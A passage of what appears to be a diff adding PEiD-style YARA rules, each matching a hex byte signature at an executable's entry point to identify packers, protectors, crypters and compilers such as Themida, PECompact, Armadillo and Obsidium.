+		$0 = {55 8B EC 81 EC 10 02 00 00 68 00 02 00 00 8D 85 F8 FD FF FF 50 6A 00 FF 15 38 10 00 01 50 FF 15 3C 10 00 01 8D 8D F8 FD FF FF 51 E8 4F FB FF FF 83 C4 04 8B 15 ?? 16 00 01 52 A1 ?? 16 00 01 50 E8 50 FF FF FF 83 C4 08 A3 ?? 16 00 01 C7 85 F4 FD FF FF 00 00 00 00 EB 0F 8B 8D F4 FD FF FF 83 C1 01 89 8D F4 FD FF FF 8B 95 F4 FD FF FF 3B 15 ?? 16 00 01 73 1C 8B 85 F4 FD FF FF 8B 0D ?? 16 00 01 8D 54 01 07 81 FA 74 10 00 01 75 02 EB 02 EB C7 8B 85 F4 FD FF FF 50 E8 ?? 00 00 00 83 C4 04 89 85 F0 FD FF FF 8B 8D F0 FD FF FF 89 4D FC C7 45 F8 00 00 00 00 EB 09 8B 55 F8 83 C2 01 89 55 F8 8B 45 F8 3B 85 F4 FD FF FF 73 15 8B 4D FC 03 4D F8 8B 15 ?? 16 00 01 03 55 F8 8A 02 88 01 EB D7 83 3D ?? 16 00 01 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_PEtite_21__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PEtite 2.1) -> emadicius"
+	strings:
+		$0 = {B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB}
+	condition:
+		$0
+}
+rule _themida_1005__httpwwworeanscom_
+{
+	meta:
+		description = "themida 1.0.0.5 -> http?//www.oreans.com"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44}
+	condition:
+		$0 at entrypoint
+}
+rule _ASDPack_v10__asd_
+{
+	meta:
+		description = "ASDPack v1.0 -> asd"
+	strings:
+		$0 = {55 8B EC 56 53 E8 5C 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ?? ?? ?? 00 00 00 00 00 00 00 40 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 ?? 00 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5B 81 EB E6 1D 40 00 83 7D 0C 01 75 11 55 E8 4F 01 00 00 E8 6A 01 00 00 5D E8 2C 00 00 00 8B B3 1A 1E 40 00 03 B3 FA 1D 40 00 8B 76 0C AD 0B C0 74 0D FF 75 10 FF 75 0C FF 75 08 FF D0 EB EE B8 01 00 00 00 5B 5E C9 C2 0C 00 55 6A 00 FF 93 20 21 40 00 89 83 FA 1D 40 00 6A 40 68 00 10 00 00 FF B3 02 1E 40 00 6A 00 FF 93 2C 21 40 00 89 83 06 1E 40 00 8B 83 F2 1D 40 00 03 83 FA 1D 40 00 50 FF B3 06 1E 40 00 50 E8 6D 01 00 00 5F}
+	condition:
+		$0
+}
+rule _RCryptor_v16x__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6x -> Vaska"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey_v5__v6_
+{
+	meta:
+		description = "CrypKey v5 - v6"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 58 83 E8 05 50 5F 57 8B F7 81 EF ?? ?? ?? ?? 83 C6 39 BA ?? ?? ?? ?? 8B DF B9 0B ?? ?? ?? 8B 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PPCPROTECT_11X__Alexey_Gorchakov_
+{
+	meta:
+		description = "PPC-PROTECT 1.1X -> Alexey Gorchakov"
+	strings:
+		$0 = {FF 5F 2D E9 20 00 9F E5 00 00 90 E5 18 00 8F E5 18 00 9F E5 00 00 90 E5 10 00 8F E5 01 00 A0 E3 00 00 00 EB 02 00 00 EA 04 F0 1F E5}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V11AV12__vcasm_
+{
+	meta:
+		description = "VProtector V1.1A-V1.2 -> vcasm"
+	strings:
+		$0 = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v02__v20x_
+{
+	meta:
+		description = "PEBundle v0.2 - v2.0x"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95}
+	condition:
+		$0 at entrypoint
+}
+rule _PoPa_001_Packer_on_Pascal__bagie_
+{
+	meta:
+		description = "PoPa 0.01 (Packer on Pascal) -> bagie"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 A4 3E 00 10 E8 30 F6 FF FF 33 C0 55 68 BE 40 00 10 ?? ?? ?? ?? 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 62 E7 FF FF 8B 45 EC E8 32 F2 FF FF 50 E8 B4 F6 FF FF A3 64 66 00 10 33 D2 55 68 93 40 00 10 64 FF 32 64 89 22 83 3D 64 66 00 10 FF 0F 84 3A 01 00 00 6A 00 6A 00 6A 00 A1 64 66 00 10 50 E8 9B F6 FF FF 83 E8 10 50 A1 64 66 00 10 50 E8 BC F6 FF FF 6A 00 68 80 66 00 10 6A 10 68 68 66 00 10 A1 64 66 00 10 50 E8 8B F6 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _The_Guard_Library_
+{
+	meta:
+		description = "The Guard Library"
+	strings:
+		$0 = {50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v151x_
+{
+	meta:
+		description = "EXECryptor v1.5.1.x"
+	strings:
+		$0 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Sc_Obfuscator__SuperCRacker__Sign_by_fly_
+{
+	meta:
+		description = "Sc Obfuscator -> SuperCRacker ! Sign by fly"
+	strings:
+		$0 = {60 33 C9 8B 1D ?? ?? ?? ?? 03 1D ?? ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D ?? ?? ?? ?? 75 E7 A1 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 61 FF 25 ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Pack_Master_10_PEX_Clone__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)] --> Anorganix"
+	strings:
+		$0 = {60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FF FF E9}
+	condition:
+		$0 at entrypoint
+}
+rule _RAR_SFX_
+{
+	meta:
+		description = "RAR SFX"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 00 00 00 00 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v203_
+{
+	meta:
+		description = "PE Lock NT v2.03"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v40_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v4.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 24 41 43 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_2x__Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact 2.x -> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? 02 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0
+}
+rule _PCGuard_v303d_v305d_
+{
+	meta:
+		description = "PC-Guard v3.03d, v3.05d"
+	strings:
+		$0 = {55 50 E8 ?? ?? ?? ?? 5D EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_110_Eng__bartxt_
+{
+	meta:
+		description = "FSG 1.10 (Eng) -> bart/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeShield_v37__ExeShield_Team_h_
+{
+	meta:
+		description = "ExeShield v3.7 -> ExeShield Team (h)"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F 8C B9 0A FC EC E4 82 97 AE 0F 18 D2 47 1B 65 EA 46 A5 FD 3E 9D 75 2A 62 80 60 F9 B0 0D E1 AC 12 0E 9D 24 D5 43 CE 9A D6 18 BF 22 DA 1F 72 76 B0 98 5B C2 64 BC AE D8}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_v104_
+{
+	meta:
+		description = "Microsoft C v1.04"
+	strings:
+		$0 = {FA B8 ?? ?? 8E D8 8E D0 26 8B ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 04 D3 E3 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _NSPack__Nort_Star_Software__httpwwwnsdsncom_
+{
+	meta:
+		description = "NSPack -> Nort Star Software - http://www.nsdsn.com/"
+	strings:
+		$0 = {83 F9 00 74 28 43 8D B5 ?? ?? FF FF 8B 16 56 51 53 52 56 FF 33 FF 73 04 8B 43 08 03 C2 50 FF 95 ?? ?? FF FF 5A 5B 59 5E 83 C3 0C E2 E1 61 9D E9 ?? ?? ?? FF 8B B5 ?? ?? FF FF 0B F6 0F 84 97 00 00 00 8B 95 ?? ?? FF FF 03 F2 83 3E 00 75 0E 83 7E 04 00 75 08}
+	condition:
+		$0
+}
+rule _FreePascal_200_Win32__Berczi_Gabor_Pierre_Muller__Peter_Vreman_
+{
+	meta:
+		description = "FreePascal 2.0.0 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)"
+	strings:
+		$0 = {55 89 E5 C6 05 ?? ?? ?? ?? 00 E8 ?? ?? ?? ?? 6A 00 64 FF 35 00 00 00 00 89 E0 A3 ?? ?? ?? ?? 55 31 ED 89 E0 A3 ?? ?? ?? ?? 66 8C D5 89 2D ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 ED E8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? C9 C3}
+	condition:
+		$0
+}
+rule _Patch_Creation_Wizard_12_Byte_Patch_
+{
+	meta:
+		description = "Patch Creation Wizard 1.2 Byte Patch"
+	strings:
+		$0 = {E8 7F 03 00 00 6A 00 E8 24 03 00 00 A3 B8 33 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 2C 03 00 00 6A 00 E8 EF 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 B8 33 40 00 E8 1B 03 00 00 50 6A 01 68 80 00 00 00 FF 75}
+	condition:
+		$0
+}
+rule _Reg2Exe_222223__by_Jan_Vorel_
+{
+	meta:
+		description = "Reg2Exe 2.22/2.23 - by Jan Vorel"
+	strings:
+		$0 = {6A 00 E8 2F 1E 00 00 A3 C4 35 40 00 E8 2B 1E 00 00 6A 0A 50 6A 00 FF 35 C4 35 40 00 E8 07 00 00 00 50 E8 1B 1E 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 C8 35 40 00 E8 76 16 00 00 83 C4 0C 8B 44 24 04 A3 CC 35 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00}
+		$1 = {6A 00 E8 2F 1E 00 00 A3 C4 35 40 00 E8 2B 1E 00 00 6A 0A 50 6A 00 FF 35 C4 35 40 00 E8 07 00 00 00 50 E8 1B 1E 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 C8 35 40 00 E8 76 16 00 00 83 C4 0C 8B 44 24 04 A3 CC 35 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 EC 1D 00 00 A3 C8 35 40 00 E8 62 1D 00 00 E8 92 1A 00 00 E8 80 16 00 00 E8 13 14 00 00 68 01 00 00 00 68 08 36 40 00 68 00 00 00 00 8B 15 08 36 40 00 E8 71 3F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 3F 00 00 FF 35 48 31 40 00 B8 00 01 00 00 E8 0D 13 00 00 8D 0D EC 35 40 00 5A E8 F2 13 00 00 68 00 01 00 00 FF 35 EC 35 40 00 E8 84 1D 00 00 A3 F4 35 40 00 FF 35 48 31 40 00 FF 35 F4 35 40 00 FF 35 EC 35 40 00 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _IProtect_10_Fxlibdll_mode__by_FuXdas_
+{
+	meta:
+		description = "IProtect 1.0 (Fxlib.dll mode) - by FuXdas"
+	strings:
+		$0 = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00}
+		$1 = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00 8D 85 3C 10 40 00 50 FF B5 63 10 40 00 E8 92 00 00 00 0B C0 74 13 89 85 5F 10 40 00 8D 85 49 10 40 00 50 FF 95 5F 10 40 00 8B 85 67 10 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 FA FD FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MS_Visual_Cpp_v8_DLL_hsmall_sig2_
+{
+	meta:
+		description = "MS Visual C++ v.8 DLL (h-small sig2)"
+	strings:
+		$0 = {8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 0F 84 ?? ?? 00 00 83 FE 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v172__v173_
+{
+	meta:
+		description = "Armadillo v1.72 - v1.73"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E8 C1 ?? ?? 68 F4 86 ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _PECrc32_088__ZhouJinYu_
+{
+	meta:
+		description = "PECrc32 0.88 -> ZhouJinYu"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED B6 A4 45 00 8D BD B0 A4 45 00 81 EF 82 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BlindSpot_10__s134k_
+{
+	meta:
+		description = "BlindSpot 1.0 -> s134k"
+	strings:
+		$0 = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15}
+		$1 = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15 1C 10 40 00 8D 45 F8 8B 1D 18 10 40 00 56 50 6A 34 FF 35 90 12 40 00 FF 75 FC FF D3 85 C0 0F 84 7F 01 00 00 39 75 F8 0F 84 76 01 00 00 A1 90 12 40 00 66 8B 40 30 66 3D 01 00 75 14 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 14 10 40 00 EB 2C 66 3D 02 00 75 14 8D 85 E4 FE FF FF 50 68 04 01 00 00 FF 15 10 10 40 00 EB 12 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 0C 10 40 00 8B 3D 08 10 40 00 8D 85 E4 FE FF FF 68 54 10 40 00 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_v032a_fake_PEtite_21__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PEtite 2.1) -> emadicius (h)"
+	strings:
+		$0 = {B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_FSG_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [FSG 1.0] -> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B E9}
+	condition:
+		$0 at entrypoint
+}
+rule _DAEMON_Protect_v067_
+{
+	meta:
+		description = "DAEMON Protect v0.6.7"
+	strings:
+		$0 = {60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D 61}
+	condition:
+		$0 at entrypoint
+}
+rule _XtremeProtector_106_
+{
+	meta:
+		description = "Xtreme-Protector 1.06"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02}
+	condition:
+		$0
+}
+rule _Thinstall_Virtualization_Suite_V310X__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite V3.10X -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 2C FF FF FF E9 90 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33}
+	condition:
+		$0 at entrypoint
+}
+rule _D1S1G_v11_beta__D1N_
+{
+	meta:
+		description = "D1S1G v1.1 beta --> D1N"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 ?? ?? 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00}
+	condition:
+		$0
+}
+rule _Borland_Pascal_v70_
+{
+	meta:
+		description = "Borland Pascal v7.0"
+	strings:
+		$0 = {B8 ?? ?? 8E D8 8C ?? ?? ?? 8C D3 8C C0 2B D8 8B C4 05 ?? ?? C1 ?? ?? 03 D8 B4 ?? CD 21 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _beria_v007_public_WIP__symbiont_h_
+{
+	meta:
+		description = "beria v0.07 public WIP -> symbiont (h)"
+	strings:
+		$0 = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0 3B F5 74 37 8B 46 0C 3B C5 8B 3D 04 30 ?? ?? 89 2E 89 6E 04 89 6E 08 74 06 50 FF D7 89 6E 0C 8B 46 10 3B C5 74 06 50 FF D7 89 6E 10 8B 46 14 3B C5 74 0A 50 FF D7 89 6E 14 EB 02 33 F6 6A 10 55 89 35 A4 40 ?? ?? FF D3 8B F0 3B F5 74 09 E8 08 12 00 00 8B C6 EB 02 33 C0 8B 48 08 8B 51 04 8B 09 8B 35 30 30 ?? ?? A3 D4 43 ?? ?? 8B 00 03 D0 52 03 C8 51 FF D6 8B 3D 24 30 ?? ?? 50 FF D7}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1338__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.8 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04}
+		$1 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 57 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FucknJoy_10c__UsAr_
+{
+	meta:
+		description = "Fuck'n'Joy 1.0c -> UsAr"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00}
+	condition:
+		$0
+}
+rule _Sexe_Crypter_11__by_santasdad_
+{
+	meta:
+		description = "Sexe Crypter 1.1 - by santasdad"
